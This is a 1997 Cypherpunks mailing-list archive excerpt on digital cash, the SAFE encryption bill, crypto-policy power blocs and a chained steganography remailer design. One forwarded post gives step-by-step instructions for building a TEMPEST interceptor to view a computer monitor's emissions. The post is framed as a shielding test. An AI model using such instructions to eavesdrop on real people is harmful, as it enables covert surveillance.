Cybercash/coin, or even FV, and barely, SSL/SET, as "legs" which are just long enough to let the surface tension of the banking system hold us up, so we can do transactions in cypherspace. > What we want is fully anonymous, ultra low transaction cost, > transferable units of exchange. Amen. > If we get that going (and obviously > there are some people trying DigiCash, and a couple of others), the > banks will become the obsolete dinasaurs they deserve to become. Wellll... Depends on what you call a "bank" I suppose. I would claim that, more than anything else, a trustee in my model is a bank, whether its assets are digital bearer or not. I won't quibble with you about it, though. A bank is a type of financial intermediary. Someone who risks reputation in return for interest, or other profit of somekind. You can't have finance, and thus trade and economics, without financial intermediaries. Might as well call some kinds of them "banks", whether they live on the net or not. > I > think this would be a good outcome, and I'd rather see this happen > than see anyone go to any great effort to get the banks involved. Let > them stick to electronic "cash" systems (what a misuse of the word) > based on credit cards and checks. See how that survives against > _real_ distributed electronic cash with transaction costs 10 to 100 > times lower, with 0 red tape barriers to entry for both sellers and > buyers. Well, the consequence of book-entry transactions, of course, is the interference of the nation-state, because that's your anti-repudiation mechanism. Book-entry banks need nation-states, or force monopolies of somekind, to exist. However, the net represents a whole new financial biome, if you will. A biome where book-entries, like fins, are too slow to fly with. :-). > The net is becoming more and more important as an mechanism for > information exchange in it's own right. This is why I think just > cutting the ties with the physical world and having a payment system > working now would be interesting. Certainly the sooner the better. However, you still have to get those assets on the net in negotiable form. That's why you need to use good old fashioned book-entry banks to make your assets negotiable. It's like punching paper numbers into a spreadsheet when you can download a file from the mainframe. Yes. Mainframes sucked. But that's where the data was. > Deployment wins and all that. > Hashcash is completely distributed; there is NO bank. You can not > forge hash cash, you can not double spend hash cash. You can print as > much hashcash as you have CPU time for. You can resell hashcash for > real money on an unoffical exchange, or trade hashcash for different > services. Way cool. So, how, if you're going to issue hashcash denominated in dollars, are you going to convert them into actual dollars? Are you going to put up a physical deposit window and take in bills somewhere? :-). Wouldn't it be nice for someone to swipe their ATM card into a reader on their machine using your web page, and get hashcash? To do that, you need a trustee bank. > I don't see any particular inherent reason why an electronic payment > protocol can't be designed which requires no trust of the bank; at > least it should be possible to arrange it so that the bank minting > funds for it's own use will be detected. All you need is that the > protocol is publically verifiable. Digicash already prevents double > spending through the database of protocoins. You might not have to trust the bank. But you do have to trust a financial intermediary of some kind. In finance, more often than not, that entity is called a "bank", for lack of a better term. Again. You can't have finance, and thus trade and economics, without reputation. Trust, in other words. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From jimbell at pacifier.com Fri May 2 11:42:53 1997 From: jimbell at pacifier.com (Jim Bell) Date: Sat, 3 May 1997 02:42:53 +0800 Subject: TWO Letters on SAFE Message-ID: <199705021829.LAA28903@mail.pacifier.com> At 12:07 5/02/97 -0400, Jonah Seiger wrote: >This is indeed true - CDT sent a separate letter and signed the IPC letter. > >As Marc Rotenberg knows very well, the legislative process is complicated. >Marc also knows that Goodlatte, Coble, Lofgren, and the other subcommittee >supporters of SAFE chose not to consider any amendments at the subcommittee >markup, but rather to take up our concerns at the full committee. You obviously meant, "ignore our concerns" rather than "take up our concerns," right?!? Because that is, more accurately, what they did and will do. >Goodlatte's staff and the other sponsors of SAFE had worked very hard to >prevent any amendments, hostile *and* friendly, at the subcommittee vote >for fear of hostile amendments from the Administration and opponents of >SAFE in the congress. A bill isn't worth much when it gets to the full >Committee if it gets gutted at the Subcommittee. Goodlatte wanted to get >some momentum behind it before going into the expected all out fight at the >full committee. I see a issue that's not being addressed. Presumably, in legislative negotiations the theory behind including such a provision (the criminal provision) is that there are people "out there" who would support it with that provision present, but who would oppose it with that provision removed. (Moreover, the theory would suggest that somebody believes that this bill would be MORE likely to pass with the provision present than absent.) Who, exactly, are these people? Aside from a few government thugs, I really don't see the groundswell. Numerically, I think I'm safe in concluding that there are in the citizenry, by far, more people who would support the SAFE bill only with the provision removed than those who'd support it only with the provision present. We should insist on a bill which reflects the desires of the public, NOT the government. One more thing. That idiot Clinton can easily veto this bill if he chooses to do so. The only way this bill is going to turn into law, I think, is if he _doesn't_ veto it, and that will mean that he prefers getting its "positives" (positive to him, at least), the criminal provision, and all those "legitimate needs of law enforcement", and tolerating its "negatives" (again, to him, at least.) He may publicly oppose it, but I think that position is a fraud. Jim Bell jimbell at pacifier.com From sunder at brainlink.com Fri May 2 12:15:45 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Sat, 3 May 1997 03:15:45 +0800 Subject: Building a Tempest Interceptor (fwd) Message-ID: This was on the Surveillance List... by Frank Jones aka SpyKing at thecodex.com http://www.thecodex.com Copyright 1997 The is very little public knowledge about TEMPEST. Most infomation, including how to safeguard against monitoring, has been classified by the government. You can view an article I wrote on TEMPEST at: http://www.thecodex.com/c_tempest.html and another at: http://www.thecodex.com/rise.html In order to protect computers and CRT�s from electromagnetic emission monitoring (interception, recontruction and viewing) it is necessary to use shielding. This shielding is available in several forms but that is another article... Once the shielding is installed, how do you test it for leakage? It is necessary to see if you can monitor the device yourself. Since TEMPEST monitoring equipment is normally very expensive and hard to come by, here is a simple way to construct a �simple� monitoring device that will help you detemine if your computer can be �snooped� on by outside sources... this device was designed for �defensive� purposes and should NOT be used offensively... it does not have the distance capability of my DataScan device but it WILL work as a laboratory benchtop demo device... Like Van Eck and Moller, I have deliberately flawed the article for the technically challenged... After all, we don�t want everyone to have one of these, do we? TEMPEST Interceptor - Follow my instructions... You need to learn something about electronics to make this happen. The first lesson will be to construct a sync generator to drive the computer monitor without any signal or video. To start this you must take your spectrum analyzer, turn off every appliance in the area. Put the analyzer near the computer monitor, turn on the monitor but NOT the computer. Start searching around 15Khz. You should get a strong signal somewhere between 14Khz & 17Khz. Log that frequency. Next try looking around 30Hz to 60Hz. Which is stronger 30 or 60? Log that. Next we�re gonna build a �computer sync generator� (video gear will not work). Most technician�s who have tried to build a TEMPEST interceptor have been trying to use �off-the-shelf� products. Don't believe what you read or hear, they won't work. You�ve got to build a computer sync generator. It isn't really so hard to do. Get yourself a copy of the "CMOS Cookbook". It's around. In there it shows how to build a 555 timer. It is a small and simple circut. Maybe 5 components. The 555 has in it all the clock and electronics to make a timer from 1Hz to 10Mhz. Follow the instructions and make a variable timer (it is really simple). Make the first one run at the exact frequency of the monitor, say 16 Khz. Next make a seperate one at the second frequency say 30 Hz. Then tie them together with a .o1 Mfd cap. The output should drive your monitor (generator is done). Two minor things I forgot to mention. The output of the 555 is about 5 to 12 volts. You will need to attenuate it to about .3 volts. Several resistors will do. The other thing is that you need a negative pulse out of the 555. The normal output of a 555 is a square wave. On and off . You must vary the duty cycle to create a square wave which is most of the time on and the sync duration off. You now need a seperate dedicated computer monitor. Open the input plug and find the shielded cable inside. Attach the output of your circut to the center-conductor and the battery minus from your circut to the shield. You have a solid black screen on the monitor. Turn up the brightness. There should be no rolling and weaving. If so... adjust the pot in YOUR CIRCUIT not the monitor, to stop it. Next step. Collect the signal you hear and see on your anaylzer/receiver. Take the output of your reciever tuned to those frequencies. Connect the output through a .01 mfd cap to the output of the sync generator and �viola� you should start to see the monitors radiated signal on your monitor. Shielding your viewing monitor from the recieving monitor and small adjustments in your generator frequency should do it. In fact no adjustments should still do it. The antenna that you use is critical. Make sure you use the right one... ;-) ************************************************************************** Send Postings to: spyking at con2.com with "Post" in subject field with subject ************************************************************************** Subscribe to: spyking at con2.com In the subject field type: subscribe-surveillance list e-mail address ************************************************************************** From stewarts at ix.netcom.com Fri May 2 12:38:35 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 3 May 1997 03:38:35 +0800 Subject: Power Blocs in the Crypto Debate In-Reply-To: Message-ID: <3.0.1.32.19970502121733.00640a80@popd.ix.netcom.com> At 10:23 AM 4/30/97 -0800, Tim May wrote: > Users of crypto, concerned citizens, the public > Cypherpunks, EFF, ACLU, EPIC, etc. > / > / > Public/Users > / \ > / \ > / \ > Corporations - - - - Government - - NSA, FBI, military, > / law enforcement, regulators, > / SEC, FCC, etc, > PGP, Inc., RSADSI, Cylink > Verisign, Netscape, etc. It's a useful start, but treating corporations as one bloc makes it too easy for journalists and government to say things like "Industry wants !" Most corporations are primarily users - they want to protect their own internal communications and recordkeeping enough for perceived threats, but they aren't passionate about it - it's just a tool, not a product. Some corporations, like PGP, selling privacy tools as products, and most of them want to provide high security with no interference. Other corporations have a market niche of sucking up to Government, and trying to create a market for GAKked products - like TIS and Dorothy - while using the Government to interfere with their competitors; if a GAKked product increases a user company's security enough that they're not losing much money on it, they've benefitted substantially, and most user companies have to tell the government what it wants to know when it wants to know it anyway, so GAK doesn't hurt them much. Banks in particular fall into this user category - they really need to keep from getting ripped off, since their losses are direct and immediate (unlike, say, intellectual property leaking) - but most US banks have no illusions that they're maintaining any privacy barriers between their users and government. Cellphone companies are a special case - their main privacy concerns are keeping customers from complaining loudly, but the watered-down digital encryption standards are enough to reduce eavesdropping, and there's enough strong crypto to prevent billing fraud. On the other hand, building an infrastructure that supports wiretapping can be a big expense, and a big disruption to their network architecture and operational efficiency, so now you're talking Real Money again. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From tcmay at got.net Fri May 2 12:44:24 1997 From: tcmay at got.net (Tim May) Date: Sat, 3 May 1997 03:44:24 +0800 Subject: High Ranking Reprsentative pulls support of SAFE... In-Reply-To: Message-ID: At 9:15 AM -0800 5/2/97, Jonah Seiger wrote: >Looks like the FBI and thier allies have been playing hardball, and have >managed to convince a high-ranking Republican member of Congress to buy >into their ani-cryto reform arguments. > >Solomon is the Chairman of the House Rules Committee. > >This fight just got a lot tougher. > >Jonah The Feds want more, a lot more. This is their way. Making crypto a semi-criminalized act was not enough. Including the Emergency Economic Powers Act and "terrorism" provisions to limit export was not enough. At some point, Jonah, you and your colleagues need to figure out what it is you really stand for. I don't think many of us are under any illusions that your organizations are grass-roots, basic rights organizations, given that you're not being funded by the dues-paying memberships of hundreds of thousands of private citizens, but, really, it is too much to have a group with "democracy" so prominently in the name shilling for mere corporate export approvals. At least the tobacco lobbyists are honest in the naming of their lobbying groups. (Not that I have anything against tobacco lobbyists, mind you. Americans should be free to make their own decisions about what they smoke or inject.) Meanwhile, the "Center for Democracy and Technology" went along with the semi-criminalization of crypto, went along with the EEPA/terrorist/military use provisions, and what it did get them? The NSA and FBI want more. Maybe if you throw in your support for crypto use as a basis for obtaining a search warrant, Solomon and the others will temporarily support SAFE again...at least until Aaron, Baker, and the others scare him again. Then maybe you'll have to support "crypto triggers RICO" provisions (after all, most crypto involves more than one person, which makes it a conspiracy to avoid detection or wiretapping...) >---- > May 1, 1997 > > OPPOSE HR. 695 "SAFE ACT" > > >Dear Colleague: > >Earlier this week, after meeting with officials from Defense and FBI, I >removed myself as a cosponsor of HR 695. Allow me to explain some of their >concerns about this bill. As with the other "supporters" of the Bill, including the various private groups like Eagle Forum, National Taxpayer's Union, etc., I suspect most of these supporters really didn't know what they were supporting. Now that the Feds are leaning on their friends from one side, and folks like us are leaning from the other side, support for SAFE is probably evaporating (isn't it sublime?). >The Department of Defense believes that HR 695 would increase the export >threshold for encryption software to a level which would effectively remove >existing controls. This would make unbreakable encryption technology >widely available and "have a negative impact on national security, >effective law enforcement and public safety". The FBI opposes the bill >because, "It would be irresponsible for the U.S. to adopt a policy that >consciously unleashes widespread, unbreakable, non-key recovery encryption >products that undermine law enforcement in the United States and worldwide." What's this about "unleashes...in the United States" bit? Does Solomon think there are laws limiting crypto in the U.S.? He must think the "use a cipher, go to prison" provisions are not enough of a restriction on civil rights in the U.S. >I also met with Ambassador Aaron (OECD), who pointed out that many of the >major industrial countries have already approved encryption safeguards and >the rest are waiting for the United States to act. He believes HR 695 >would send the worst possible signal to our allies. Indeed, Aaron has been globe-trotting to get "buy-ins" on a global key registration infrastructure. This is why the "reject it all" stance is now more important than ever, else the rights of U.S. citizens will be sacrificed to international treaties and misguided legislation like SAFE. >Lastly, Assistant Attorney General Andrew Fois stated in a letter to >Chairman Coble, "... the bill would severely compromise law enforcement's >ability to protect the American people from the threats posed by >terrorists, organized crime, child pornographers, drug cartels, financial >predators, hostile foreign intelligence agents, and other criminals... It >is difficult enough to fight crime without making criminals' tasks any >easier." The invocation of the Horsemen of the Infocalypse. Apparently criminalizing crypto is not enough...they want more. More, more, more. >In addition to the FBI and DOD the legislation is opposed by the Justice >Department, Central Intelligence,. the NSA, the National District >Attorney's Association, the International Association of Chiefs of Police >and the National Sherrif's Association. Again, I would ask you to oppose >HR 695. This is just another reminder--which I wish you inside-the-Beltway folks would someday really comprehend--that there is no compromising with statists. You give them some of what they want, and they demand more. The NRA learned the hard way, through resignations by many of us, that compromise rarely works. (And one gun vendor, Ruger, learned that its support of restriction on so-called assault weapons backfird, so to speak, as a national boycott of Ruger's products impacted their business. We can only hope that a "Just say "No" to PGP" campaign will have a similar effect.) One last thing. Part of this inside-the-Beltway mindset is the impression, I believe, that no dissenting opinion exists outside the Beltway. Only when folks like us denounce SAFE does it become apparent that the giveaways of basic rights in exchange for "corporate" contributions will not be welcomed. No personal offense intended, Jonah, but CDT has lost any credibility in being a "rights" organization. "Center for Democracy and Technology" indeed! --Tim May There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Fri May 2 12:46:31 1997 From: tcmay at got.net (Tim May) Date: Sat, 3 May 1997 03:46:31 +0800 Subject: Power Blocs in the Crypto Debate In-Reply-To: Message-ID: At 11:17 AM -0800 5/2/97, Bill Stewart wrote: >At 10:23 AM 4/30/97 -0800, Tim May wrote: >> Users of crypto, concerned citizens, the public >> Cypherpunks, EFF, ACLU, EPIC, etc. >> / >> / >> Public/Users >> / \ >> / \ >> / \ >> Corporations - - - - Government - - NSA, FBI, military, >> / law enforcement, regulators, >> / SEC, FCC, etc, >> PGP, Inc., RSADSI, Cylink >> Verisign, Netscape, etc. > >It's a useful start, but treating corporations as one bloc >makes it too easy for journalists and government to say things like >"Industry wants !" Yes, but any analysis able to be quickly comprehended--which is what this diagram was meant to be a stab at--has to avoid complexification. I could, for example, split each of these three main legs into multiple subfactions, or could argue that there are 5, or even more, legs to the diagram. Saying "industry wants foo" is of course an oversimplification, but, in fact, we're seeing my analysis somewhat confirmed by the debate over the SAFE bill. (Though in this case I would move CDT and related groups over to the "Corporations" side...it was probably a major mistake by me to place them mostly in the "Users" orbit.) My point was that the interests of these major blocs rarely coincide, for various reasons. Recall--and you were at that meeting, Bill--that Phil Zimmermann despaired publically over the drift of PGP, Inc. into the orbit of those companies prepared to sacrifice basic Consitutional rights in exchange for being able to export (and to sell to government agencies, which I believe is a major, major factor in PGP, Inc.'s increasing tendencies to abandon the civil rights origins of "PGP the guerilla program" in favor of "PGP, the tool of choice for securing the enterprise." --Tim May There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at huge.cajones.com Fri May 2 12:53:12 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sat, 3 May 1997 03:53:12 +0800 Subject: SAFE Bill / Fuck You (an inch at a time) Message-ID: <199705021934.MAA12088@fat.doobie.com> William H. Geiger III wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > In <199705020430.VAA16643 at fat.doobie.com>, on 05/01/97 at 10:30 PM, > nobody at huge.cajones.com (Huge Cajones Remailer) said: > > > We put up with crap from our government that we wouldn't accept from > >someone trying to sell us a mouthwash. The reason that we're not all > >drinking the "New Coke" is that D.C. has siphoned off all of the spin > >doctors/brainwashers from the corporate advertising industry. > > Well there must be a few spin-doctors left as we are drinking "New Coke". > :) > > The whole "New Coke/Orriginal Coke" was one of the best con jobs I have > ever seen. The Coca-Cola Company had a small problem, the cost of sugar. > It's compitition was using corn suryp as a sweetner in their products which > was much cheaper than the sugar Coca-Cola was using in theirs. > > Now how were they going to switch from sugar to corn suryp in Coke without > lossing a portion of their customers because of the change in taste? NEW > COKE!! > > Here is what they did: > > Come out with NEW COKE which was a major formula change. > Drop OLD COKE at the same time. > Wait a few months while the natives are restless over the change. Bring > back "OLD COKE" due to customer demmand (making Coca-Cola Inc. the "good" > guys). Don't tell anyone that you have switched from sugar to corn suryp > (the sheep will never notice). > > Vola!! Now Coca-Cola has dramatically increased their profits and won a > major PR campain (they care about their customers) sales are up costs are > down and the sheep are happy. > > Now I have NEVER seen the neanderthals in DC ever pull off somthing this > good. :) I guess that if their spin-doctors had been involved in the cypherpunks list takeover, that we would all have golden images of Sameer on our computers. CokeMonger From rah at shipwright.com Fri May 2 13:16:13 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sat, 3 May 1997 04:16:13 +0800 Subject: SAFE Bill discussion In-Reply-To: Message-ID: It dawns on me the the use of "Center", and "Democracy", in the same breath is either redundant or an oxymoron (depending upon your politics :-)) and, when used to in reference to "Technology", they *really* don't make sense, in much the same way that "/ physics" is nonsense. Write software, not laws. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From hua at chromatic.com Fri May 2 13:28:45 1997 From: hua at chromatic.com (Ernest Hua) Date: Sat, 3 May 1997 04:28:45 +0800 Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal In-Reply-To: Message-ID: <199705021910.MAA07300@server1.chromatic.com> > From: Charles Platt > > From: Jonah Seiger > > > > However, despite our concerns about the criminal provisions, we believe > > strongly that the SAFE bill, and the bills in the Senate sponsored by Burns > > and Leahy, are vitally important and should be passed. > > This kind of "pragmatism" is precisely why I have no faith whatsoever in > CDT. There's a slippery slope, here, that really IS a slippery slope. As > soon as you agree with the principle that the legislators can and SHOULD > pass laws in a certain area, you risk losing large chunks of freedom. Ok, I think I can agree with your principles, if they are stand-alone. However, I believe the issue here is not whether your (and Tim's) principles are correct; instead, the issue here is of time and what time we have left. I must point out the following: The NSA/FBI is NOT standing still while we are all bickering about precisely which dotted-i and crossed-t to support. They can, at the stroke of Clinton's executive order pen, initiate effectively THEIR law, while we must gather forces and summon Congress to jump through enough hoops to pass effective legislation. In short, they can get what they want instantly, while we cannot except through a long and arduous process (during which they can throw many procedural and lobbying obstacles to slow us down). The process is clearly in THEIR favor (and not without good reason), and we must face that fact. In an ideal world, when we can stop time for as long as we want to sit around a table and discuss just what is good and bad legislation, we can afford to be pure on principle. However, time is running out because the longer we wait for ANY legislation to pass, the more nations the NSA will coerce behind closed doors (and remember, you have ZERO real ability to affect these slimy maneuvers) in the name of national security. It takes just one Om Shinri Kyo (sp?) in any nation to convince its leaders to pass knee-jerk panic legislation in the name of security, and it's the fault of politics at the beck and call of human nature (not just stupid politicians). > Conversely, so long as the area remains sacrosanct, free of legislation > (e.g. the content of private mail), the situation remains clear and clean. NO! This is totally contrary to the facts! And I don't understand why you did not respond to this point when I brought it up earlier. This area is MOST CERTAINLY NOT free of legislation. Have you tried to openly export a IDEA- or 3DES-based non-key-recovery (real commercial) product lately? Have you set up an open, publically announced FTP site where anyone can freely fetch strong encryption sources? If not, then explain why, if there is no legislation on this matter, couldn't you do it? Just because there isn't an explicit bill somewhere that, in no uncertain terms, clearly grants or denies a right to Americans, does not mean that no government agency have any real effective claim on control of the matter. Why else would we be having this discussion? Ern -- Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707 Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua at chromatic.com From aba at dcs.ex.ac.uk Fri May 2 14:28:50 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sat, 3 May 1997 05:28:50 +0800 Subject: chained stego & interfaces to remailers Message-ID: <199705022113.WAA01710@server.test.net> Introduction (Skip down to "Chained Stego" if this intro is obvious for you) Some users are in countries where crypto is illegal, and would still like the ability to communicate with others on topics which are considered illegal in their countries (an example being documenting civil rights abuses). For them using encryption is not an option unless they combine with steganography. Also in countries where using crypto is legal, people still would like to have the ability to discuss topics which are considered illegal in their country (an example exporting cryptographic code, perhaps) For these users they do have the option of using encryption. However for some serious users of crypto, they may wish to hide the fact that they are sending encrypted communications to anyone at all, as well as hiding _who_ they are communicating with via mixmaster remailers, and hiding the contents of their communications via the use of encryption. Using remailers and using encryption shows up under traffic analysis even in freer countries, and if you were using steganography, you would be above suspicion, apparently never having sent an encrypted message at all, or at least not having sent one during the time in question. A useful capability to address the needs of these classes of users would be to be able to send messages to a remailer by steganographically encoding them in publically published material, Examples being: messages posted to USENET, messages posted to mailing lists, material made available on web pages (text, images, audio files), CUSeeMe video streams, etc. Such a system would allow a person in a country where crypto is outlawed to participate anonymously in discussions in the remaining free parts of the world without appearing to be using cryptography. The simple approach is to set up stego to remailer gateways which scan newsgroups and mailing lists. (It might be a useful to integrate this function into the Eternity server, as it is already doing quite a bit of scanning of newsgroups, and scanning newsgroups is relatively expensive, so we may as well scan for multiple message types while we are scanning). So, to send an anonymous message, a person PGP encrypts their message, and manipulates the encrypted message to remove the statistical properties identifying it as a PGP message (by removing "-----BEGIN..." headers, the fixed PGP formatting inside that, and the bias caused by the use of RSA), PGP stealth version 2.x would be suitable for this purpose. Next a suitable steganographic encoding is required. A simple method would be perhaps an in-your-face approach, to include a randomly distributed, randomly changing .sig: == Use a random number, go to jail, so lock me up already. QGRjcy5leC5hYy51az4gKEhpZ2ggU2VjdXJpdHkpiQCVAgUQMli+7B98EdWB2LS9 AQFF0gQAjiAOPPCs7s0VCHoFI2IWMEcAeQInmnl2p+6rpsvIxjX1v3wBqqstgBu5 aCLY9Uns+iKjzcnt5DTj6NPhJ8EOlefwgHUssiBLTsw7tOvT9fQwcIXOE5ikGP7j RObTq3a2Vtz4/O/YgN0KQnWcqTDuadeP17cJ2bbaWJpZiGDyWGSJARUDBRAySOsk The stego remailer gateway has to be able to put back together the multiple parts in the correct sequence. The Date: field from the post would be enough information to allow this. Chained Stego However there is another problem: the remailer gateway knows the identity of the stego users. The stego users therefore have to trust the stego gateway not to tell the authorities in their country. They also have to trust that the gateway is not actually be run by their own countries censorship board. The price for misplacing trust and revealing your use of encryption may be death in some of these countries. It would be nice if we could chain the stego function, so that the amount of trust required of each element could be reduced, in a similar way to chaining through remailers acheives this. So (here we get to the actual content of this post, the above having been introduction), we could arrange that the stego user encrypts with a selection of stego gateways public keys. The steps to send to gateways A and then B are: 1. encrypt with B's public key, normalise output (with pgp stealth) 2. encrypt with A's public key, normalise output 3. encode normalised output from 2 into an innocuous looking USENET post The process by which the stego message is recovered is then more complex, and has higher overhead. Each stego gateway has to scan newsgroups for stego messages, and forward it's potential partially decrypted stego messages to the other stego gateways. Then each of those remailers decrypts, and if the result is more stego noise, again forward back to the other stego gateways. The problem here is when do we stop! Remember if we pick a message, and apply our stego decoding method to it we get something which looks indistinguishable to a stego message whether there exists a stego message or not. Also how much of USENET do we scan? The stego gateways will be sending a lot of partially decrypted potential stego messages between themselves. One potential solution to the infinite loop problem is to include with the message a note to the gateway stating how many times this has been decrypted. After a few hops it can be discarded. If the max hops is 2, and there are 3 gateways A, B and C. The messages created by the single encrypted message are: round 1: A, B, and C decrypt and forward to each other round 2: B, and C decrypt C discards the output; B forwards the message to the requested remailer (We presume that multiply encoding to the same remailer is not useful, if A can decode by denormalising and decrypting twice, you may just as well have addressed it to A normalised and encrypted once). B does not know which person's USENET post this came from. He does not know where it is going (to another USENET group via a chain of remailers, or to an indivdual) However B does know that remailer A knows who the message is from. Presume there are n remailers. For hops which go through h remailers, collusion is required by all h remailers to obtain the identity of the poster. If the attacker owns k of those remailers, that is k of the remailers are colluding to discover the identity of the stego user, then the if k < h the attacker will never discover the identity of any posters using chains of length h. If k >= h the attacker will discover the identity of a stego user only in cases where the chain includes all of the hops. (C(n,k) is choose k of n function computed with n!/((n-k)!k!) k!(n-h)! Prob = C(k,h)/C(n,h) = -------- n!(k-h)! Some sample values, n = 8 values of h = hops, and k = no of rogue gateways h= \k| hops\| 1 2 3 4 5 6 7 --------------------------------- 1 | .13 .25 .38 .50 .63 .75 .88 2 | .00 .04 .11 .21 .36 .54 .75 3 | .00 .00 .02 .07 .18 .36 .63 4 | .00 .00 .00 .01 .07 .21 .50 5 | .00 .00 .00 .00 .02 .11 .38 6 | .00 .00 .00 .00 .00 .04 .25 7 | .00 .00 .00 .00 .00 .00 .13 Now interestingly it seems to me that this figure is per stego message, so if you chose different gateway chains on each message your cumulative chance of being caught would be worse than if you just chose a chain and stuck to it. You're trying to minimise your cumulative chance of being identified. If you use a chain, and the jack boots don't kick down your door for a few weeks, you hope it is a good chain. Of course there is a chance that gateways could be taken over and your chain would then become a compromised chain. An additional danger if a gateway is compromised and it's key is revealed, the attacker can then go back through it's saved messages and look for messages which came from the newly acquired gateway, or went to it, to see how many more chains this compromises. It would seem like a good idea for the gateways to ensure forward secrecy by re-keying reasonably frequently. To do better than this, we could make the stego gateways to act like middlemen remailers. That is a gateway will always communicate with other gateways via a remailer. Now gateway B does not know which of gateways A or C decoded the message from the newsgroup. So he has to attack them all. Better still, the gateways can be completely hidden. They can use a message pool to communicate. This has higher overhead, but now the fact that gateway B knows either A or C decoded the message does not help much because gateway B can't physically locate A and C. An alternative to the suggestion of including a count of the number of decryptions that have taken place so far to avoid infinite loops, is to do the job probablistically. Say that each remailer says that it will only accept mesages where the low order 3 bits after decryption are "101". This rule doesn't apply to the first hop, which knows that the message hasn't circulated anyway, as it has just pulled it from the newsgroup. So the first gateway decodes, forwards to the other gateways. Each gateway decodes, and if the desired bit pattern comes out, sends the decrypted message to the other remailers. This way we place no restriction on the number of hops, avoid revealing who the first hop is explicitly, but ensure that the messages which are not stego at all die naturally, and don't propogate for ever between the gateways. Also the "101" is likely enough to come up quite by chance, and the number of actual stego messages is small compared to just ordinary USENET posts that seeing a "101" doesn't prove anything conclusive after 1 hop. However after several hops (if an attacker owns several of the gateways), the probability of getting multiple "101"s in a row points increasingly to a stego message, whereas if we relied on a header stating how many hops, no information would be leaked by the attacker handling multiple hops in the middle of the chain. So it's a trade off between lower overall overhead whilst allowing multiple hops, whilst increasing the susceptability of the system to leaked information to an attacker who owns multiple rogue gateways. However these are all very high overhead because they have DC net like overheads, you send a copy to everything to everyone always, so you have a perfect mix. You can trade off this security to obtain lower bandwidth. Here's one suggestion of how to do this. Obviously we can't include with each partial decryption instructions on who to remail it to (because if you found some instructions, that would reveal immediately that it was a stego message). However, we can interpret the random bit patterns as remailer instructions. Say there are n gateways, we can number the gateways consecutively and take the decrypted message mod n - 1 to produce the index number of a gateway to send to next. We can include a count of decryptions so far to reduce overhead. Another way to avoid infinite loops with this variation is to take the decrypted message mod ((n - 1) + j), anything over n-1 gets discarded. Messages naturally die out statistically at a speed determined by the ratio of j / n - 1, after h hops there is probability: (j / n - 1) ^ h that the message will get discarded. Provided the stego users account for a small amount of traffic, their use would likley be lost in the large pool of noise even if they stuck to a particular chain. Or they could themselves use normally distributed selections of random chains. However if they did this, their cumulative chance of sending through only rogue gateways on one post would increase. Interestingly this setup has different properties to mixmaster mixes, with this arrangement traffic analysis gives you nothing, as the inputs are hidden, and the traffic is perfectly normally distributed. (Presuming that the stego users create random chains also). Cover traffic between gateways adds nothing. You probably need cover traffic on output however, so that the gateways send constant, or at least evenly distributed amounts of traffic off into the remailer net, so that one persons posting can not be correlated with exits from the gateway network. Some delay in the gateway network would help also. Random delay is different to mixing in this instance because there is already lots of mixing going on, the point is to ensure that an exit from the gateway network is not observable at fixed time periods after posts from particular suspected stego users. If there are many users this should average out. Note also, that when a message does decode to a message, the gateway should generate a random replacement message and forward that to a random remailer with the same probability as for other non-decoding messages, otherwise receiving a message would skew the statistics. Given that the stego user has an interest in sticking to a chain, this is less secure than sending copies of partially decrypted potential messages to all gateways. Either he doesn't stick to his chain, thus increasing his odds of being detected, or he uses his fixed chain and runs the risk that this statistic shows through. If there are many stego users each with different fixed randonly chosen chains, the fact that chains are fixed would be less likely to reveal information as the random chains would tend to cancel out, and themselves have the same normal distribution as the non-stego traffic. Comments? More efficient ways to get around the weakness of a single remailer gateway hop? Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Robert Hettinga, , writes: > Again, it's using the right business model, and not necessarily > cryptography, which makes a market happen. Blind signatures and hash > collisions are necessary, but not sufficient, for the market to exist. Bob, if I understand you correctly, you've suggested that digital bearer instruments will in the long run actually be more efficient than conventional book entry based transaction models. Anonymity will be cheaper than identified transactions. But, if digital bearer certificates of all kinds are, as you suggest, cheaper and more efficient than conventional ones, why can't we just use ordinary non-blinded digital instruments and ignore the identifying information? For example, XYZ Co. could issue a signed note saying "Serial number 12345, worth 100 shares of XYZ Co.". A bank could issue a signed note saying "Serial number 54321, worth $100 at 